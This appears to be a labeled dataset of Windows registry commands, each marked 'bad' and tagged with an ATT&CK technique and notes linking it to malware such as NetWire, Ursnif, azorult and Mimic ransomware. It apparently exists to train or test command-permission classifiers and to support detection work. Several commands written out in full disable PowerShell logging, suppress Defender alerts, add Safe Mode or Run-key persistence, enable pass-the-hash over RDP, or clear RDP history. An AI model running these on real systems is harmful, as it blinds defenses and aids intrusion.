cowWhySo/permission-command-corpus huggingface dataset:
Command: reg delete "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v HideSCAVolume /f >nul 2>&1
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1112
Platform: windows
ATT&CK tags: T1112
Source rule: Windows HideSCAVolume Group Policy Feature
Notes: Modify the registry of the currently logged in user using reg.exe via cmd console to remove the volume icon Group Policy. 
Take note that some Group Policy changes might require a restart to take effect..
See how ransomware abuses this technique- https://www.virustotal.com/gui/file/2d7855bf6470aa323edf2949b54ce2a04d9e38770f1322c3d0420c2303178d91/details
Command: reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced /v ShowInfoTip /t REG_DWORD /d 0 /f reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced /v ShowCompColor /t REG_DWORD /d 0 /f
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1112
Platform: windows
ATT&CK tags: T1112
Source rule: Windows Modify Show Compress Color And Info Tip Registry
Notes: Modify the registry of the currently logged in user using reg.exe via cmd console to show compress color and show tips feature. 
See how hermeticwiper uses this technique - https://www.splunk.com/en_us/blog/security/detecting-hermeticwiper.html
Command: reg delete HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced /v ShowInfoTip /f >nul 2>&1 reg delete HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced /v ShowCompColor /f >nul 2>&1
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1112
Platform: windows
ATT&CK tags: T1112
Source rule: Windows Modify Show Compress Color And Info Tip Registry
Notes: Modify the registry of the currently logged in user using reg.exe via cmd console to show compress color and show tips feature. 
See how hermeticwiper uses this technique - https://www.splunk.com/en_us/blog/security/detecting-hermeticwiper.html
Command: reg add HKCU\Software\Policies\Microsoft\Windows\PowerShell\ModuleLogging /v EnableModuleLogging /t REG_DWORD /d 0 /f reg add HKCU\Software\Policies\Microsoft\Windows\PowerShell\ScriptBlockLogging /v EnableScriptBlockLogging /t REG_DWORD /d 0 /f reg add HKCU\Software\Policies\Microsoft\Windows\PowerShell\Transcription /v EnableTranscripting /t REG_DWORD /d 0 /f reg add HKCU\Software\Policies\Microsoft\Windows\PowerShell /v EnableScripts /t REG_DWORD /d 0 /f reg delete HKCU\Software\Policies\Microsoft\Windows\PowerShell /v EnableScripts /f >nul 2>&1
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1112
Platform: windows
ATT&CK tags: T1112
Source rule: Windows Powershell Logging Disabled
Notes: Modify the registry of the currently logged in user using reg.exe via cmd console to disable Powershell Module Logging, Script Block Logging, Transcription and Script Execution
see https://admx.help/?Category=Windows_10_2016&Policy=Microsoft.Policies.PowerShell::EnableModuleLogging
Command: reg delete HKCU\Software\Policies\Microsoft\Windows\PowerShell\ModuleLogging /v EnableModuleLogging /f >nul 2>&1 reg delete HKCU\Software\Policies\Microsoft\Windows\PowerShell\ScriptBlockLogging /v EnableScriptBlockLogging /f >nul 2>&1 reg delete HKCU\Software\Policies\Microsoft\Windows\PowerShell\Transcription /v EnableTranscripting /f >nul 2>&1
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1112
Platform: windows
ATT&CK tags: T1112
Source rule: Windows Powershell Logging Disabled
Notes: Modify the registry of the currently logged in user using reg.exe via cmd console to disable Powershell Module Logging, Script Block Logging, Transcription and Script Execution
see https://admx.help/?Category=Windows_10_2016&Policy=Microsoft.Policies.PowerShell::EnableModuleLogging
Command: REG ADD "HKLM\SYSTEM\CurrentControlSet\Control\SafeBoot\Minimal\AtomicSafeMode" /VE /T REG_SZ /F /D "Service"
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1112
Platform: windows
ATT&CK tags: T1112
Source rule: Windows Add Registry Value to Load Service in Safe Mode without Network
Notes: Modify the registry to allow a driver, service, to persist in Safe Mode.
see https://redcanary.com/blog/tracking-driver-inventory-to-expose-rootkits/ and https://blog.didierstevens.com/2007/03/26/playing-with-safe-mode/ for further details.
Adding a subkey to Minimal with the name of your service and a default value set to Service, makes that your service will be started when you boot into Safe Mode without networking. The same applies for the Network subkey.
Command: reg delete "HKLM\SYSTEM\CurrentControlSet\Control\SafeBoot\Minimal\AtomicSafeMode" /f
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1112
Platform: windows
ATT&CK tags: T1112
Source rule: Windows Add Registry Value to Load Service in Safe Mode without Network
Notes: Modify the registry to allow a driver, service, to persist in Safe Mode.
see https://redcanary.com/blog/tracking-driver-inventory-to-expose-rootkits/ and https://blog.didierstevens.com/2007/03/26/playing-with-safe-mode/ for further details.
Adding a subkey to Minimal with the name of your service and a default value set to Service, makes that your service will be started when you boot into Safe Mode without networking. The same applies for the Network subkey.
Command: REG ADD "HKLM\SYSTEM\CurrentControlSet\Control\SafeBoot\Network\AtomicSafeMode" /VE /T REG_SZ /F /D "Service"
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1112
Platform: windows
ATT&CK tags: T1112
Source rule: Windows Add Registry Value to Load Service in Safe Mode with Network
Notes: Modify the registry to allow a driver, service, to persist in Safe Mode with networking.
see https://redcanary.com/blog/tracking-driver-inventory-to-expose-rootkits/ and https://blog.didierstevens.com/2007/03/26/playing-with-safe-mode/ for further details.
Adding a subkey to Netowrk with the name of your service and a default value set to Service, makes that your service will be started when you boot into Safe Mode with networking.
Command: reg delete "HKLM\SYSTEM\CurrentControlSet\Control\SafeBoot\Network\AtomicSafeMode" /f
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1112
Platform: windows
ATT&CK tags: T1112
Source rule: Windows Add Registry Value to Load Service in Safe Mode with Network
Notes: Modify the registry to allow a driver, service, to persist in Safe Mode with networking.
see https://redcanary.com/blog/tracking-driver-inventory-to-expose-rootkits/ and https://blog.didierstevens.com/2007/03/26/playing-with-safe-mode/ for further details.
Adding a subkey to Netowrk with the name of your service and a default value set to Service, makes that your service will be started when you boot into Safe Mode with networking.
Command: reg add HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\PushNotifications /v ToastEnabled /t REG_DWORD /d 0 /f
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1112
Platform: windows
ATT&CK tags: T1112
Source rule: Disable Windows Toast Notifications
Notes: Modify the registry of the currently logged in user using reg.exe via cmd console to disable the windows toast notification.
See how azorult malware abuses this technique- https://app.any.run/tasks/a6f2ffe2-e6e2-4396-ae2e-04ea0143f2d8/
Command: reg delete HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\PushNotifications /v ToastEnabled /f >nul 2>&1
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1112
Platform: windows
ATT&CK tags: T1112
Source rule: Disable Windows Toast Notifications
Notes: Modify the registry of the currently logged in user using reg.exe via cmd console to disable the windows toast notification.
See how azorult malware abuses this technique- https://app.any.run/tasks/a6f2ffe2-e6e2-4396-ae2e-04ea0143f2d8/
Command: reg add HKLM\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\ImmersiveShell /v UseActionCenterExperience /t REG_DWORD /d 0 /f
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1112
Platform: windows
ATT&CK tags: T1112
Source rule: Disable Windows Security Center Notifications
Notes: Modify the registry of the currently logged in user using reg.exe via cmd console to disable the windows security center notification.
See how azorult malware abuses this technique- https://app.any.run/tasks/a6f2ffe2-e6e2-4396-ae2e-04ea0143f2d8/
Command: reg delete HKLM\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\ImmersiveShell /v UseActionCenterExperience /f >nul 2>&1
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1112
Platform: windows
ATT&CK tags: T1112
Source rule: Disable Windows Security Center Notifications
Notes: Modify the registry of the currently logged in user using reg.exe via cmd console to disable the windows security center notification.
See how azorult malware abuses this technique- https://app.any.run/tasks/a6f2ffe2-e6e2-4396-ae2e-04ea0143f2d8/
Command: reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\UX Configuration" /v Notification_Suppress /t REG_DWORD /d 1 /f
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1112
Platform: windows
ATT&CK tags: T1112
Source rule: Suppress Win Defender Notifications
Notes: Modify the registry of the currently logged in user using reg.exe via cmd console to suppress the windows defender notification.
See how azorult malware abuses this technique- https://app.any.run/tasks/a6f2ffe2-e6e2-4396-ae2e-04ea0143f2d8/
Command: reg delete "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\UX Configuration" /v Notification_Suppress /f >nul 2>&1
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1112
Platform: windows
ATT&CK tags: T1112
Source rule: Suppress Win Defender Notifications
Notes: Modify the registry of the currently logged in user using reg.exe via cmd console to suppress the windows defender notification.
See how azorult malware abuses this technique- https://app.any.run/tasks/a6f2ffe2-e6e2-4396-ae2e-04ea0143f2d8/
Command: reg add "HKLM\System\CurrentControlSet\Control\Terminal Server" /v fAllowToGetHelp /t REG_DWORD /d 1 /f
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1112
Platform: windows
ATT&CK tags: T1112
Source rule: Allow RDP Remote Assistance Feature
Notes: Modify the registry of the currently logged in user using reg.exe via cmd console to allow rdp remote assistance feature. This feature allow specific
user to rdp connect on the targeted machine.
See how azorult malware abuses this technique- https://app.any.run/tasks/a6f2ffe2-e6e2-4396-ae2e-04ea0143f2d8/
Command: reg delete "HKLM\System\CurrentControlSet\Control\Terminal Server" /v fAllowToGetHelp /f >nul 2>&1
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1112
Platform: windows
ATT&CK tags: T1112
Source rule: Allow RDP Remote Assistance Feature
Notes: Modify the registry of the currently logged in user using reg.exe via cmd console to allow rdp remote assistance feature. This feature allow specific
user to rdp connect on the targeted machine.
See how azorult malware abuses this technique- https://app.any.run/tasks/a6f2ffe2-e6e2-4396-ae2e-04ea0143f2d8/
Command: reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Run /v NetWire /t REG_SZ /d "C:\Users\admin\AppData\Roaming\Install\Host.exe" /f reg add HKCU\SOFTWARE\NetWire /v HostId /t REG_SZ /d HostId-kai6Ci /f reg add HKCU\SOFTWARE\NetWire /v "Install Date" /t REG_SZ /d "2021-08-30 07:17:27" /f
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1112
Platform: windows
ATT&CK tags: T1112
Source rule: NetWire RAT Registry Key Creation
Notes: NetWire continues to create its home key (HKCU\SOFTWARE\NetWire) as well as adding it into the auto-run group in the victim’s registry.
See how NetWire malware - https://app.any.run/tasks/41ecdbde-4997-4301-a350-0270448b4c8f/
Command: reg delete HKCU\Software\Microsoft\Windows\CurrentVersion\Run /v NetWire /f >nul 2>&1 reg delete HKCU\SOFTWARE\NetWire /va /f >nul 2>&1 reg delete HKCU\SOFTWARE\NetWire /f >nul 2>&1
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1112
Platform: windows
ATT&CK tags: T1112
Source rule: NetWire RAT Registry Key Creation
Notes: NetWire continues to create its home key (HKCU\SOFTWARE\NetWire) as well as adding it into the auto-run group in the victim’s registry.
See how NetWire malware - https://app.any.run/tasks/41ecdbde-4997-4301-a350-0270448b4c8f/
Command: reg add HKCU\Software\AppDataLow\Software\Microsoft\3A861D62-51E0-15700F2219A4 /v comsxRes /t REG_BINARY /d 72656463616e617279 /f
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1112
Platform: windows
ATT&CK tags: T1112
Source rule: Ursnif Malware Registry Key Creation
Notes: Ursnif downloads additional modules from the C&C server and saves these in the registry folder HKEY_CURRENT_USER\Software\AppDataLow\Software\Microsoft\
More information - https://blog.trendmicro.com/trendlabs-security-intelligence/phishing-campaign-uses-hijacked-emails-to-deliver-ursnif-by-replying-to-ongoing-threads/
Command: reg delete HKCU\Software\AppDataLow\Software\Microsoft\3A861D62-51E0-15700F2219A4 /va /f >nul 2>&1 reg delete HKCU\Software\AppDataLow\Software\Microsoft\3A861D62-51E0-15700F2219A4 /f >nul 2>&1
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1112
Platform: windows
ATT&CK tags: T1112
Source rule: Ursnif Malware Registry Key Creation
Notes: Ursnif downloads additional modules from the C&C server and saves these in the registry folder HKEY_CURRENT_USER\Software\AppDataLow\Software\Microsoft\
More information - https://blog.trendmicro.com/trendlabs-security-intelligence/phishing-campaign-uses-hijacked-emails-to-deliver-ursnif-by-replying-to-ongoing-threads/
Command: reg delete "HKEY_CURRENT_USER\Software\Microsoft\Terminal Server Client\Default" /va /f reg delete "HKEY_CURRENT_USER\Software\Microsoft\Terminal Server Client\Servers" /f
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1112
Platform: windows
ATT&CK tags: T1112
Source rule: Terminal Server Client Connection History Cleared
Notes: The built-in Windows Remote Desktop Connection (RDP) client (mstsc.exe) saves the remote computer name (or IP address) and the username that is used to login after each successful connection to the remote computer
Command: reg add HKLM64\SOFTWARE\Policies\Microsoft\Windows Defender\Reporting /v DisableEnhancedNotifications /t REG_DWORD /d 1 /f reg add HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Reporting /v DisableEnhancedNotifications /t REG_DWORD /d 1 /f
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1112
Platform: windows
ATT&CK tags: T1112
Source rule: Disable Windows Error Reporting Settings
Notes: Modify the registry of the currently logged in user using reg.exe via cmd console to disable windows error reporting settings. This Windows feature allow the use to report bug, errors, failure or problems 
encounter in specific application or process.
See how azorult malware abuses this technique- https://app.any.run/tasks/a6f2ffe2-e6e2-4396-ae2e-04ea0143f2d8/
Command: reg delete HKLM64\SOFTWARE\Policies\Microsoft\Windows Defender\Reporting /v DisableEnhancedNotifications /f >nul 2>&1 reg delete HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Reporting /v DisableEnhancedNotifications /f >nul 2>&1
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1112
Platform: windows
ATT&CK tags: T1112
Source rule: Disable Windows Error Reporting Settings
Notes: Modify the registry of the currently logged in user using reg.exe via cmd console to disable windows error reporting settings. This Windows feature allow the use to report bug, errors, failure or problems 
encounter in specific application or process.
See how azorult malware abuses this technique- https://app.any.run/tasks/a6f2ffe2-e6e2-4396-ae2e-04ea0143f2d8/
Command: reg add HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer /v DisallowRun /t REG_DWORD /d 1 /f reg add HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\DisallowRun /f /t REG_SZ /v art1 /d "regedit.exe" reg add HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\DisallowRun /f /t REG_SZ /v art2 /d "cmd.exe"
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1112
Platform: windows
ATT&CK tags: T1112
Source rule: DisallowRun Execution Of Certain Applications
Notes: Modify the registry of the currently logged in user using reg.exe via cmd console to prevent user running specific computer programs that could aid them in manually removing malware or detecting it 
using security product.
Command: reg delete HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer /v DisallowRun /f >nul 2>&1 reg delete HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\DisallowRun /v art1 /f >nul 2>&1 reg delete HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\DisallowRun /v art2 /f >nul 2>&1
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1112
Platform: windows
ATT&CK tags: T1112
Source rule: DisallowRun Execution Of Certain Applications
Notes: Modify the registry of the currently logged in user using reg.exe via cmd console to prevent user running specific computer programs that could aid them in manually removing malware or detecting it 
using security product.
Command: reg add "hklm\system\currentcontrolset\control\lsa" /f /v DisableRestrictedAdmin /t REG_DWORD /d 0
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1112
Platform: windows
ATT&CK tags: T1112
Source rule: Enabling Restricted Admin Mode via Command_Prompt
Notes: Enabling Restricted Admin Mode via Command_Prompt,enables an attacker to perform a pass-the-hash attack using RDP.

See [Passing the Hash with Remote Desktop](https://www.kali.org/blog/passing-hash-remote-desktop/)
Command: reg delete "hklm\system\currentcontrolset\control\lsa" /f /v DisableRestrictedAdmin >nul 2>&1
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1112
Platform: windows
ATT&CK tags: T1112
Source rule: Enabling Restricted Admin Mode via Command_Prompt
Notes: Enabling Restricted Admin Mode via Command_Prompt,enables an attacker to perform a pass-the-hash attack using RDP.

See [Passing the Hash with Remote Desktop](https://www.kali.org/blog/passing-hash-remote-desktop/)
Command: reg add HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Winlogon /t REG_DWORD /v AllowMultipleTSSessions /d 1 /f
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1112
Platform: windows
ATT&CK tags: T1112
Source rule: Mimic Ransomware - Enable Multiple User Sessions
Notes: This test emulates Mimic ransomware's ability to enable multiple user sessions by modifying the AllowMultipleTSSessions value within the Winlogon registry key. 
See [Mimic Ransomware Overview] (https://www.trendmicro.com/en_us/research/23/a/new-mimic-ransomware-abuses-everything-apis-for-its-encryption-p.html)
Command: reg delete HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Winlogon /v AllowMultipleTSSessions /f >nul 2>&1
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1112
Platform: windows
ATT&CK tags: T1112
Source rule: Mimic Ransomware - Enable Multiple User Sessions
Notes: This test emulates Mimic ransomware's ability to enable multiple user sessions by modifying the AllowMultipleTSSessions value within the Winlogon registry key. 
See [Mimic Ransomware Overview] (https://www.trendmicro.com/en_us/research/23/a/new-mimic-ransomware-abuses-everything-apis-for-its-encryption-p.html)
Command: reg add "HKLM\System\CurrentControlSet\Control\Terminal Server" /v fSingleSessionPerUser /t REG_DWORD /d 0 /f
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1112
Platform: windows
ATT&CK tags: T1112
Source rule: Mimic Ransomware - Allow Multiple RDP Sessions per User
Notes: This test emulates Mimic ransomware's ability to enable multiple RDP sessions per user by modifying the fSingleSessionPerUser value within the Terminal Server registry key. 
See [Mimic Ransomware Overview] (https://www.trendmicro.com/en_us/research/23/a/new-mimic-ransomware-abuses-everything-apis-for-its-encryption-p.html)
Command: reg delete "HKLM\System\CurrentControlSet\Control\Terminal Server" /v fSingleSessionPerUser /f >nul 2>&1
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1112
Platform: windows
ATT&CK tags: T1112
Source rule: Mimic Ransomware - Allow Multiple RDP Sessions per User
Notes: This test emulates Mimic ransomware's ability to enable multiple RDP sessions per user by modifying the fSingleSessionPerUser value within the Terminal Server registry key. 
See [Mimic Ransomware Overview] (https://www.trendmicro.com/en_us/research/23/a/new-mimic-ransomware-abuses-everything-apis-for-its-encryption-p.html)
Command: reg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Event Viewer" /v MicrosoftRedirectionURL /t REG_SZ /d "#{redirection_url}" /f
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1112
Platform: windows
ATT&CK tags: T1112
Source rule: Event Viewer Registry Modification - Redirection URL
Notes: Modify event viewer registry values to alter the behavior of the online help redirection. Upon opening an event in event viewer and attempting to view the help page for the event, it will open the URL or execute the program defined in the redirection URL registry entry.
Command: reg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Event Viewer" /v MicrosoftRedirectionURL /t REG_SZ /d "http://go.microsoft.com/fwlink/events.asp" /f
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1112
Platform: windows
ATT&CK tags: T1112
Source rule: Event Viewer Registry Modification - Redirection URL
Notes: Modify event viewer registry values to alter the behavior of the online help redirection. Upon opening an event in event viewer and attempting to view the help page for the event, it will open the URL or execute the program defined in the redirection URL registry entry.
Command: reg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Event Viewer" /v MicrosoftRedirectionProgram /t REG_EXPAND_SZ /d "#{redirection_program}" /f
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1112
Platform: windows
ATT&CK tags: T1112
Source rule: Event Viewer Registry Modification - Redirection Program
Notes: Modify event viewer registry values to alter the behavior of the online help redirection. Upon opening an event in event viewer and attempting to view the help page for the event, it will execute the program defined in the redirection program registry entry.
Command: reg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Event Viewer" /v MicrosoftRedirectionProgram /t REG_EXPAND_SZ /f
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1112
Platform: windows
ATT&CK tags: T1112
Source rule: Event Viewer Registry Modification - Redirection Program
Notes: Modify event viewer registry values to alter the behavior of the online help redirection. Upon opening an event in event viewer and attempting to view the help page for the event, it will execute the program defined in the redirection program registry entry.
Command: reg add "hklm\SYSTEM\CurrentControlSet\Control\Terminal Server\Winstations\RDP-Tcp" /v SecurityLayer /t REG_DWORD /d 0 /f
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1112
Platform: windows
ATT&CK tags: T1112
Source rule: Enabling Remote Desktop Protocol via Remote Registry
Notes: Enabling RDP through remote registry.
Command: reg add "hklm\SYSTEM\CurrentControlSet\Control\Terminal Server\Winstations\RDP-Tcp" /v SecurityLayer /t REG_DWORD /d 2 /f
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1112
Platform: windows
ATT&CK tags: T1112
Source rule: Enabling Remote Desktop Protocol via Remote Registry
Notes: Enabling RDP through remote registry.